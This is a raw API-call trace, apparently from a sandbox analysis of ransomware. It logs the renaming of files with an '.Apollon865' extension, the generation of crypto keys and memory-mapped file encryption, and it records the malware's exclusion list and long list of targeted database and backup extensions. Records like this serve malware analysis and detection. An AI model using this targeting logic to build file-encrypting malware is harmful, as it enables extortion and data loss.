	[0059.058] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.Apollon865") returned 93
	[0059.058] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.apollon865"), dwFlags=0x1) returned 1
	[0059.058] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.058] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6381) returned 1
	[0059.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0059.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.059] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0059.060] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.060] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0059.060] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bf0, lpName=0x0) returned 0x14c
	[0059.061] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bf0) returned 0x100000
	[0059.063] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.064] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.064] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.065] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.065] CloseHandle (hObject=0x14c) returned 1
	[0059.065] CloseHandle (hObject=0x150) returned 1
	[0059.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0059.065] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="Apollon865.txt.exe") returned 1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2=".") returned 1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="..") returned 1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="windows") returned -1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="bootmgr") returned 1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="temp") returned -1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="pagefile.sys") returned 1
	[0059.065] lstrcmpiW (lpString1="Peacock.htm", lpString2="boot") returned 1
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2="ids.txt") returned 1
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2="ntuser.dat") returned 1
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2="perflogs") returned -1
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2="MSBuild") returned 1
	[0059.066] lstrlenW (lpString="Peacock.htm") returned 11
	[0059.066] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned 82
	[0059.066] lstrcpyW (in: lpString1=0x119e68a, lpString2="Peacock.htm" | out: lpString1="Peacock.htm") returned="Peacock.htm"
	[0059.066] lstrlenW (lpString="Peacock.htm") returned 11
	[0059.066] lstrlenW (lpString="Apollon865") returned 10
	[0059.066] lstrcmpiW (lpString1="eacock.htm", lpString2="Apollon865") returned 1
	[0059.066] lstrlenW (lpString=".dll") returned 4
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2=".dll") returned 1
	[0059.066] lstrlenW (lpString=".lnk") returned 4
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2=".lnk") returned 1
	[0059.066] lstrlenW (lpString=".ini") returned 4
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2=".ini") returned 1
	[0059.066] lstrlenW (lpString=".sys") returned 4
	[0059.066] lstrcmpiW (lpString1="Peacock.htm", lpString2=".sys") returned 1
	[0059.066] lstrlenW (lpString="Peacock.htm") returned 11
	[0059.066] lstrlenW (lpString="bak") returned 3
	[0059.066] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0059.066] lstrlenW (lpString="ba_") returned 3
	[0059.066] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0059.066] lstrlenW (lpString="dbb") returned 3
	[0059.066] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0059.066] lstrlenW (lpString="vmdk") returned 4
	[0059.066] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0059.066] lstrlenW (lpString="rar") returned 3
	[0059.066] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0059.066] lstrlenW (lpString="zip") returned 3
	[0059.066] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0059.066] lstrlenW (lpString="tgz") returned 3
	[0059.066] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0059.066] lstrlenW (lpString="vbox") returned 4
	[0059.067] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0059.067] lstrlenW (lpString="vdi") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0059.067] lstrlenW (lpString="vhd") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0059.067] lstrlenW (lpString="vhdx") returned 4
	[0059.067] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0059.067] lstrlenW (lpString="avhd") returned 4
	[0059.067] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0059.067] lstrlenW (lpString="db") returned 2
	[0059.067] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0059.067] lstrlenW (lpString="db2") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0059.067] lstrlenW (lpString="db3") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0059.067] lstrlenW (lpString="dbf") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0059.067] lstrlenW (lpString="mdf") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0059.067] lstrlenW (lpString="mdb") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0059.067] lstrlenW (lpString="sql") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0059.067] lstrlenW (lpString="sqlite") returned 6
	[0059.067] lstrcmpiW (lpString1="ck.htm", lpString2="sqlite") returned -1
	[0059.067] lstrlenW (lpString="sqlite3") returned 7
	[0059.067] lstrcmpiW (lpString1="ock.htm", lpString2="sqlite3") returned -1
	[0059.067] lstrlenW (lpString="sqlitedb") returned 8
	[0059.067] lstrcmpiW (lpString1="cock.htm", lpString2="sqlitedb") returned -1
	[0059.067] lstrlenW (lpString="xml") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0059.067] lstrlenW (lpString="$er") returned 3
	[0059.067] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0059.067] lstrlenW (lpString="4dd") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0059.068] lstrlenW (lpString="4dl") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0059.068] lstrlenW (lpString="^^^") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0059.068] lstrlenW (lpString="abs") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0059.068] lstrlenW (lpString="abx") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0059.068] lstrlenW (lpString="accdb") returned 5
	[0059.068] lstrcmpiW (lpString1="k.htm", lpString2="accdb") returned 1
	[0059.068] lstrlenW (lpString="accdc") returned 5
	[0059.068] lstrcmpiW (lpString1="k.htm", lpString2="accdc") returned 1
	[0059.068] lstrlenW (lpString="accde") returned 5
	[0059.068] lstrcmpiW (lpString1="k.htm", lpString2="accde") returned 1
	[0059.068] lstrlenW (lpString="accdr") returned 5
	[0059.068] lstrcmpiW (lpString1="k.htm", lpString2="accdr") returned 1
	[0059.068] lstrlenW (lpString="accdt") returned 5
	[0059.068] lstrcmpiW (lpString1="k.htm", lpString2="accdt") returned 1
	[0059.068] lstrlenW (lpString="accdw") returned 5
	[0059.068] lstrcmpiW (lpString1="k.htm", lpString2="accdw") returned 1
	[0059.068] lstrlenW (lpString="accft") returned 5
	[0059.068] lstrcmpiW (lpString1="k.htm", lpString2="accft") returned 1
	[0059.068] lstrlenW (lpString="adb") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.068] lstrlenW (lpString="adb") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.068] lstrlenW (lpString="ade") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0059.068] lstrlenW (lpString="adf") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0059.068] lstrlenW (lpString="adn") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0059.068] lstrlenW (lpString="adp") returned 3
	[0059.068] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0059.069] lstrlenW (lpString="alf") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0059.069] lstrlenW (lpString="ask") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0059.069] lstrlenW (lpString="btr") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0059.069] lstrlenW (lpString="cat") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0059.069] lstrlenW (lpString="cdb") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0059.069] lstrlenW (lpString="ckp") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0059.069] lstrlenW (lpString="cma") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0059.069] lstrlenW (lpString="cpd") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0059.069] lstrlenW (lpString="dacpac") returned 6
	[0059.069] lstrcmpiW (lpString1="ck.htm", lpString2="dacpac") returned -1
	[0059.069] lstrlenW (lpString="dad") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0059.069] lstrlenW (lpString="dadiagrams") returned 10
	[0059.069] lstrcmpiW (lpString1="eacock.htm", lpString2="dadiagrams") returned 1
	[0059.069] lstrlenW (lpString="daschema") returned 8
	[0059.069] lstrcmpiW (lpString1="cock.htm", lpString2="daschema") returned -1
	[0059.069] lstrlenW (lpString="db-journal") returned 10
	[0059.069] lstrcmpiW (lpString1="eacock.htm", lpString2="db-journal") returned 1
	[0059.069] lstrlenW (lpString="db-shm") returned 6
	[0059.069] lstrcmpiW (lpString1="ck.htm", lpString2="db-shm") returned -1
	[0059.069] lstrlenW (lpString="db-wal") returned 6
	[0059.069] lstrcmpiW (lpString1="ck.htm", lpString2="db-wal") returned -1
	[0059.069] lstrlenW (lpString="dbc") returned 3
	[0059.069] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0059.069] lstrlenW (lpString="dbs") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0059.070] lstrlenW (lpString="dbt") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0059.070] lstrlenW (lpString="dbv") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0059.070] lstrlenW (lpString="dbx") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0059.070] lstrlenW (lpString="dcb") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0059.070] lstrlenW (lpString="dct") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0059.070] lstrlenW (lpString="dcx") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0059.070] lstrlenW (lpString="ddl") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0059.070] lstrlenW (lpString="dlis") returned 4
	[0059.070] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0059.070] lstrlenW (lpString="dp1") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0059.070] lstrlenW (lpString="dqy") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0059.070] lstrlenW (lpString="dsk") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0059.070] lstrlenW (lpString="dsn") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0059.070] lstrlenW (lpString="dtsx") returned 4
	[0059.070] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0059.070] lstrlenW (lpString="dxl") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0059.070] lstrlenW (lpString="eco") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0059.070] lstrlenW (lpString="ecx") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0059.070] lstrlenW (lpString="edb") returned 3
	[0059.070] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0059.071] lstrlenW (lpString="epim") returned 4
	[0059.071] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0059.071] lstrlenW (lpString="fcd") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0059.071] lstrlenW (lpString="fdb") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0059.071] lstrlenW (lpString="fic") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0059.071] lstrlenW (lpString="flexolibrary") returned 12
	[0059.071] lstrlenW (lpString="fm5") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0059.071] lstrlenW (lpString="fmp") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0059.071] lstrlenW (lpString="fmp12") returned 5
	[0059.071] lstrcmpiW (lpString1="k.htm", lpString2="fmp12") returned 1
	[0059.071] lstrlenW (lpString="fmpsl") returned 5
	[0059.071] lstrcmpiW (lpString1="k.htm", lpString2="fmpsl") returned 1
	[0059.071] lstrlenW (lpString="fol") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0059.071] lstrlenW (lpString="fp3") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0059.071] lstrlenW (lpString="fp4") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0059.071] lstrlenW (lpString="fp5") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0059.071] lstrlenW (lpString="fp7") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0059.071] lstrlenW (lpString="fpt") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0059.071] lstrlenW (lpString="frm") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0059.071] lstrlenW (lpString="gdb") returned 3
	[0059.071] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.071] lstrlenW (lpString="gdb") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.072] lstrlenW (lpString="grdb") returned 4
	[0059.072] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0059.072] lstrlenW (lpString="gwi") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0059.072] lstrlenW (lpString="hdb") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0059.072] lstrlenW (lpString="his") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0059.072] lstrlenW (lpString="ib") returned 2
	[0059.072] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0059.072] lstrlenW (lpString="idb") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0059.072] lstrlenW (lpString="ihx") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0059.072] lstrlenW (lpString="itdb") returned 4
	[0059.072] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0059.072] lstrlenW (lpString="itw") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0059.072] lstrlenW (lpString="jet") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0059.072] lstrlenW (lpString="jtx") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0059.072] lstrlenW (lpString="kdb") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0059.072] lstrlenW (lpString="kexi") returned 4
	[0059.072] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0059.072] lstrlenW (lpString="kexic") returned 5
	[0059.072] lstrcmpiW (lpString1="k.htm", lpString2="kexic") returned -1
	[0059.072] lstrlenW (lpString="kexis") returned 5
	[0059.072] lstrcmpiW (lpString1="k.htm", lpString2="kexis") returned -1
	[0059.072] lstrlenW (lpString="lgc") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0059.072] lstrlenW (lpString="lwx") returned 3
	[0059.072] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0059.073] lstrlenW (lpString="maf") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0059.073] lstrlenW (lpString="maq") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0059.073] lstrlenW (lpString="mar") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0059.073] lstrlenW (lpString="marshal") returned 7
	[0059.073] lstrcmpiW (lpString1="ock.htm", lpString2="marshal") returned 1
	[0059.073] lstrlenW (lpString="mas") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0059.073] lstrlenW (lpString="mav") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0059.073] lstrlenW (lpString="maw") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0059.073] lstrlenW (lpString="mdbhtml") returned 7
	[0059.073] lstrcmpiW (lpString1="ock.htm", lpString2="mdbhtml") returned 1
	[0059.073] lstrlenW (lpString="mdn") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0059.073] lstrlenW (lpString="mdt") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0059.073] lstrlenW (lpString="mfd") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0059.073] lstrlenW (lpString="mpd") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0059.073] lstrlenW (lpString="mrg") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0059.073] lstrlenW (lpString="mud") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0059.073] lstrlenW (lpString="mwb") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0059.073] lstrlenW (lpString="myd") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0059.073] lstrlenW (lpString="ndf") returned 3
	[0059.073] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0059.074] lstrlenW (lpString="nnt") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0059.074] lstrlenW (lpString="nrmlib") returned 6
	[0059.074] lstrcmpiW (lpString1="ck.htm", lpString2="nrmlib") returned -1
	[0059.074] lstrlenW (lpString="ns2") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0059.074] lstrlenW (lpString="ns3") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0059.074] lstrlenW (lpString="ns4") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0059.074] lstrlenW (lpString="nsf") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0059.074] lstrlenW (lpString="nv") returned 2
	[0059.074] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0059.074] lstrlenW (lpString="nv2") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0059.074] lstrlenW (lpString="nwdb") returned 4
	[0059.074] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0059.074] lstrlenW (lpString="nyf") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0059.074] lstrlenW (lpString="odb") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.074] lstrlenW (lpString="odb") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.074] lstrlenW (lpString="oqy") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0059.074] lstrlenW (lpString="ora") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0059.074] lstrlenW (lpString="orx") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0059.074] lstrlenW (lpString="owc") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0059.074] lstrlenW (lpString="p96") returned 3
	[0059.074] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0059.074] lstrlenW (lpString="p97") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0059.075] lstrlenW (lpString="pan") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0059.075] lstrlenW (lpString="pdb") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0059.075] lstrlenW (lpString="pdm") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0059.075] lstrlenW (lpString="pnz") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0059.075] lstrlenW (lpString="qry") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0059.075] lstrlenW (lpString="qvd") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0059.075] lstrlenW (lpString="rbf") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0059.075] lstrlenW (lpString="rctd") returned 4
	[0059.075] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0059.075] lstrlenW (lpString="rod") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0059.075] lstrlenW (lpString="rodx") returned 4
	[0059.075] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0059.075] lstrlenW (lpString="rpd") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0059.075] lstrlenW (lpString="rsd") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0059.075] lstrlenW (lpString="sas7bdat") returned 8
	[0059.075] lstrcmpiW (lpString1="cock.htm", lpString2="sas7bdat") returned -1
	[0059.075] lstrlenW (lpString="sbf") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0059.075] lstrlenW (lpString="scx") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0059.075] lstrlenW (lpString="sdb") returned 3
	[0059.075] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0059.075] lstrlenW (lpString="sdc") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0059.076] lstrlenW (lpString="sdf") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0059.076] lstrlenW (lpString="sis") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0059.076] lstrlenW (lpString="spq") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0059.076] lstrlenW (lpString="te") returned 2
	[0059.076] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0059.076] lstrlenW (lpString="teacher") returned 7
	[0059.076] lstrcmpiW (lpString1="ock.htm", lpString2="teacher") returned -1
	[0059.076] lstrlenW (lpString="tmd") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0059.076] lstrlenW (lpString="tps") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0059.076] lstrlenW (lpString="trc") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.076] lstrlenW (lpString="trc") returned 3
